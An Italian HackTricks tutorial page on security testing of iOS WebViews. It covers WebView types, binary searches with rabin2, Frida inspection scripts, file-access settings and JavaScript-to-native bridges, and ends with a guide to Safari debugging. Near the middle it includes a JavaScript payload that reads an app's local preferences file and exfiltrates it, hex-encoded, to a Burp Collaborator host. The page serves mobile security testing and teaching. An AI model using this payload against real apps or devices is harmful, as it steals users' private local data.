iOS WebViews
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Il codice di questa pagina è stato estratto da qui. Controlla la pagina per ulteriori dettagli.
Tipi di WebViews
Le WebViews sono utilizzate allâinterno delle applicazioni per visualizzare contenuti web in modo interattivo. Vari tipi di WebViews offrono diverse funzionalitĂ e caratteristiche di sicurezza per le applicazioni iOS. Ecco una breve panoramica:
-
UIWebView, che non è piÚ raccomandato a partire da iOS 12 a causa della sua mancanza di supporto per disabilitare JavaScript, rendendolo suscettibile a iniezioni di script e attacchi di Cross-Site Scripting (XSS).
-
WKWebView è lâopzione preferita per incorporare contenuti web nelle app, offrendo un controllo migliorato sui contenuti e sulle caratteristiche di sicurezza. JavaScript è abilitato per impostazione predefinita, ma può essere disabilitato se necessario. Supporta anche funzionalitĂ per prevenire lâapertura automatica di finestre da parte di JavaScript e garantisce che tutti i contenuti vengano caricati in modo sicuro. Inoltre, lâarchitettura di WKWebView riduce il rischio di corruzione della memoria che influisce sul processo principale dellâapp.
-
SFSafariViewController offre unâesperienza di navigazione web standardizzata allâinterno delle app, riconoscibile dal suo layout specifico che include un campo indirizzo in sola lettura, pulsanti di condivisione e navigazione, e un link diretto per aprire contenuti in Safari. A differenza di WKWebView, JavaScript non può essere disabilitato in SFSafariViewController, che condivide anche cookie e dati con Safari, mantenendo la privacy dellâutente dallâapp. Deve essere visualizzato in modo prominente secondo le linee guida dellâApp Store.
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
Riepilogo dellâEsplorazione della Configurazione di WebViews
Panoramica dellâAnalisi Statica
Nel processo di esame delle configurazioni di WebViews, si concentrano su due tipi principali: UIWebView e WKWebView. Per identificare questi WebViews allâinterno di un binario, vengono utilizzati comandi che cercano riferimenti a classi specifiche e metodi di inizializzazione.
- Identificazione di UIWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
Questo comando aiuta a localizzare le istanze di UIWebView cercando stringhe di testo ad esso correlate nel binario.
- Identificazione di WKWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
Allo stesso modo, per WKWebView, questo comando cerca nel binario stringhe di testo indicative del suo utilizzo.
Inoltre, per scoprire come viene inizializzato un WKWebView, viene eseguito il seguente comando, mirato alla firma del metodo relativa alla sua inizializzazione:
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
Verifica della Configurazione JavaScript
Per WKWebView, è evidenziato che disabilitare JavaScript è una buona pratica a meno che non sia necessario. Si cerca il binario compilato per confermare che la proprietà javaScriptEnabled sia impostata su false, assicurando che JavaScript sia disabilitato:
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
Verifica Solo Contenuti Sicuri
WKWebView offre la possibilitĂ di identificare problemi di contenuti misti, a differenza di UIWebView. Questo viene controllato utilizzando la proprietĂ hasOnlySecureContent per garantire che tutte le risorse della pagina siano caricate tramite connessioni sicure. La ricerca nel binario compilato viene eseguita come segue:
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
Approfondimenti sullâAnalisi Dinamica
Lâanalisi dinamica comporta lâispezione dellâheap per le istanze di WebView e le loro proprietĂ . Uno script chiamato webviews_inspector.js è utilizzato a questo scopo, mirato alle istanze di UIWebView, WKWebView e SFSafariViewController. Registra informazioni sulle istanze trovate, inclusi URL e impostazioni relative a JavaScript e contenuti sicuri.
Lâispezione dellâheap può essere condotta utilizzando ObjC.choose() per identificare le istanze di WebView e controllare le proprietĂ javaScriptEnabled e hasonlysecurecontent.
ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})
ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})
Lo script viene eseguito con:
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
Risultati Chiave:
- Le istanze di WebViews sono state localizzate e ispezionate con successo.
- Lâabilitazione di JavaScript e le impostazioni di contenuto sicuro sono state verificate.
Questo riepilogo racchiude i passaggi e i comandi critici coinvolti nellâanalisi delle configurazioni di WebView attraverso approcci statici e dinamici, concentrandosi su funzionalitĂ di sicurezza come lâabilitazione di JavaScript e la rilevazione di contenuti misti.
Gestione del Protocollo WebView
Gestire il contenuto nelle WebViews è un aspetto critico, specialmente quando si trattano vari protocolli come http(s)://, file:// e tel://. Questi protocolli consentono il caricamento di contenuti sia remoti che locali allâinterno delle app. Si sottolinea che quando si carica contenuto locale, devono essere adottate precauzioni per impedire agli utenti di influenzare il nome o il percorso del file e di modificare il contenuto stesso.
WebViews offrono diversi metodi per il caricamento dei contenuti. Per UIWebView, ora deprecato, vengono utilizzati metodi come loadHTMLString:baseURL: e loadData:MIMEType:textEncodingName:baseURL:. WKWebView, dâaltra parte, impiega loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL: e loadRequest: per il contenuto web. Metodi come pathForResource:ofType:, URLForResource:withExtension: e init(contentsOf:encoding:) sono tipicamente utilizzati per caricare file locali. Il metodo loadFileURL:allowingReadAccessToURL: è particolarmente notevole per la sua capacitĂ di caricare un URL o una directory specifica nella WebView, potenzialmente esponendo dati sensibili se viene specificata una directory.
Per trovare questi metodi nel codice sorgente o nel binario compilato, possono essere utilizzati comandi come i seguenti:
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
Per quanto riguarda lâaccesso ai file, UIWebView lo consente universalmente, mentre WKWebView introduce le impostazioni allowFileAccessFromFileURLs e allowUniversalAccessFromFileURLs per gestire lâaccesso dagli URL dei file, con entrambe impostate su false per impostazione predefinita.
Un esempio di script Frida è fornito per ispezionare le configurazioni di WKWebView per le impostazioni di sicurezza:
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
Infine, un esempio di un payload JavaScript mirato allâexfiltrazione di file locali dimostra il potenziale rischio di sicurezza associato a WebViews configurati in modo improprio. Questo payload codifica i contenuti dei file in formato esadecimale prima di trasmetterli a un server, evidenziando lâimportanza di misure di sicurezza rigorose nelle implementazioni di WebView.
String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)
Metodi Nativi Esposti Tramite WebViews
Comprendere le Interfacce Native di WebView in iOS
A partire da iOS 7, Apple ha fornito API per la comunicazione tra JavaScript in un WebView e oggetti nativi Swift o Objective-C. Questa integrazione è principalmente facilitata attraverso due metodi:
- JSContext: Una funzione JavaScript viene creata automaticamente quando un blocco Swift o Objective-C è collegato a un identificatore allâinterno di un
JSContext. Questo consente unâintegrazione e una comunicazione senza soluzione di continuitĂ tra JavaScript e codice nativo. - JSExport Protocol: Ereditando il protocollo
JSExport, le proprietĂ native, i metodi di istanza e i metodi di classe possono essere esposti a JavaScript. Ciò significa che eventuali modifiche apportate nellâambiente JavaScript vengono riflesse nellâambiente nativo e viceversa. Tuttavia, è essenziale garantire che i dati sensibili non vengano esposti involontariamente tramite questo metodo.
Accesso a JSContext in Objective-C
In Objective-C, il JSContext per un UIWebView può essere recuperato con la seguente riga di codice:
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
Comunicazione con WKWebView
Per WKWebView, lâaccesso diretto a JSContext non è disponibile. Invece, viene utilizzato il passaggio di messaggi tramite la funzione postMessage, che consente la comunicazione tra JavaScript e nativo. I gestori per questi messaggi sono impostati come segue, consentendo a JavaScript di interagire in modo sicuro con lâapplicazione nativa:
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
Interazione e Test
JavaScript può interagire con il layer nativo definendo un gestore di messaggi per gli script. Questo consente operazioni come lâinvocazione di funzioni native da una pagina web:
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
Per catturare e manipolare il risultato di una chiamata a una funzione nativa, è possibile sovrascrivere la funzione di callback allâinterno dellâHTML:
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>
Il lato nativo gestisce la chiamata JavaScript come mostrato nella classe JavaScriptBridgeMessageHandler, dove il risultato di operazioni come la moltiplicazione di numeri viene elaborato e inviato nuovamente a JavaScript per la visualizzazione o ulteriori manipolazioni:
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
Debugging iOS WebViews
(Tutorial basato su quello di https://blog.vuplex.com/debugging-webviews)
Per eseguire il debug dei contenuti web allâinterno delle webview iOS, è necessaria una configurazione specifica che coinvolge gli strumenti per sviluppatori di Safari, poichĂŠ i messaggi inviati a console.log() non vengono visualizzati nei log di Xcode. Ecco una guida semplificata, che enfatizza i passaggi e i requisiti chiave:
-
Preparazione sul dispositivo iOS: LâInspectore Web di Safari deve essere attivato sul tuo dispositivo iOS. Questo si fa andando su Impostazioni > Safari > Avanzate, e abilitando lâInspectore Web.
-
Preparazione sul dispositivo macOS: Sul tuo computer di sviluppo macOS, devi abilitare gli strumenti per sviluppatori allâinterno di Safari. Avvia Safari, accedi a Safari > Preferenze > Avanzate, e seleziona lâopzione per Mostra menu Sviluppo.
-
Connessione e Debugging: Dopo aver collegato il tuo dispositivo iOS al computer macOS e avviato la tua applicazione, utilizza Safari sul tuo dispositivo macOS per selezionare la webview che desideri debuggare. Naviga su Sviluppo nella barra dei menu di Safari, passa il mouse sul nome del tuo dispositivo iOS per vedere un elenco delle istanze delle webview, e seleziona lâistanza che desideri ispezionare. Si aprirĂ una nuova finestra dellâInspectore Web di Safari per questo scopo.
Tuttavia, fai attenzione alle limitazioni:
- Il debugging con questo metodo richiede un dispositivo macOS poichĂŠ si basa su Safari.
- Solo le webview nelle applicazioni caricate sul tuo dispositivo tramite Xcode sono idonee per il debugging. Le webview nelle app installate tramite lâApp Store o Apple Configurator non possono essere debuggate in questo modo.
References
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
- https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

